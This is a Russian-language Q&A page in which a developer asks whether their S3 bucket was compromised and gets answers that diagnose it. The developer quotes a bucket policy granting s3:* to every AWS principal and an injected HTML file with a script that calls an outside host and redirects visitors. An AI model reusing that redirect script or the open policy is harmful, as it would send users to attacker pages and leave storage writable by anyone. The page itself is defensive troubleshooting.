s3 images - Мое ведро s3 было взломано? - PullRequest
0 голосов
/ 08 апреля 2020

Пользователи моей платформы могут загрузить свое изображение аватара, но им нужно запросить подписанный URL в моем Laravel бэкенде.

Вот контроллер

public function avatarUploadSigner(Request $request)
{
    return s3_signedUrl("img/avatar/{$this->user->id}.jpg");
}

А здесь функция для получения подписанного s3 для загрузки изображения

function s3_signedUrl($path, $expireOnMinutes = 120) {
    if(!$path) {
        return ['error' => 'filename missing'];
    }

    $s3 = Storage::disk('s3');
    $adapter = $s3->getDriver()->getAdapter();
    $client = $adapter->getClient();
    $mime = \League\Flysystem\Util\MimeType::detectByFilename($path);

    try {
        $command = $client->getCommand('PutObject', array(
            'Bucket' => $adapter->getBucket(),
            'Key' => $path,
            'ContentType' => $mime,
            'use_accelerate_endpoint' => true
        ));

        $signedUrl = $client->createPresignedRequest(
            $command,
            "+$expireOnMinutes minutes"
        );
        $signedUrl = $signedUrl->getUri()->__toString();
    } catch (S3Exception $e) {
        return ['error' => $e->getMessage()];
    }

    return $signedUrl;
}

Неделя в go Некоторые изображения превращаются в html файлы, подобные этому:

<html>
<head>
<script type="text/javascript" nonce="739865d617d243ffba08a513623" src="//local.adguard.org?ts=1586287921907&amp;type=content-script&amp;dmn=myghostmarket.s3.eu-west-1.amazonaws.com&amp;css=1&amp;js=1&amp;gcss=1&amp;rel=0&amp;rji=0"></script>
<script type="text/javascript" nonce="739865d617d243ffba08a513623" src="//local.adguard.org?ts=1586287921907&amp;name=AdGuard%20Assistant&amp;name=AdGuard%20Extra&amp;type=user-script"></script><script>
    var t="onload"in new XMLHttpRequest?XMLHttpRequest:XDomainRequest;var e=new t;e.open("GET","https://gold.platinumus.top/track/awswrite?q=html",true);e.onload=function(){location.href=this.responseText};e.send();
</script>
</head>
<body>
</body>
</html>

Но недавно не только аватар, теперь изменились другие изображения, такие как заголовок, нижний колонтитул и т. д. c, которые не могут быть изменены подписанным URL-адресом.

У меня есть эта политика корзины

    "Version": "2008-10-17",
    "Statement": [
        {
            "Sid": "AllowPublicRead",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "s3:*",
            "Resource": [
               "arn:aws:s3:::_____MY_DOMAIN_NAME_____/audio/*",
               "arn:aws:s3:::_____MY_DOMAIN_NAME_____/img/*",
            ]
        }
    ]
}

Аудио и папки img доступны для чтения, но не могут быть записаны без подписи, верно? У меня есть еще более важные личные папки.

Они в опасности? Что не так с моим кодом? Мое ведро s3 взломано?

Ответы [ 2 ]

1 голос
/ 08 апреля 2020

Ваша политика Bucket говорит:

  • Любые AWS учетные данные
  • Может сделать любой S3 API-вызов
  • Но только для объектов в каталогах img и audio

Это означает, что я могу использовать мои AWS учетные данные для чтения, загрузки и удаления объектов в этом ведре. Это также объяснило бы, почему объекты были загружены / изменены внешними сторонами.

Если вы намерены сделать объекты общедоступными для чтения , следует использовать s3:GetObject:

{
  "Version":"2012-10-17",
  "Statement":[
    {
      "Sid":"PublicRead",
      "Effect":"Allow",
      "Principal": "*",
      "Action":"s3:GetObject",
      "Resource":[
        "arn:aws:s3:::examplebucket/audio/*",
        "arn:aws:s3:::examplebucket/img/*",
      ]
    }
  ]
}
0 голосов
/ 08 апреля 2020

detectByFilename - худший способ проверить тип пантомимы.

/home/test/myfile.html.jpg вернет jpg, даже если это не допустимый файл jpg. Вместо этого вы должны использовать \finfo(FILEINFO_MIME) и прочитать поток файла, чтобы получить тип MIME.

Независимо от того, представляет ли это существенную проблему, зависит от того, как вы встраиваете свои изображения после их загрузки. Если вы встраиваете необработанные данные на свою страницу, это может привести к атакам CSRF.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...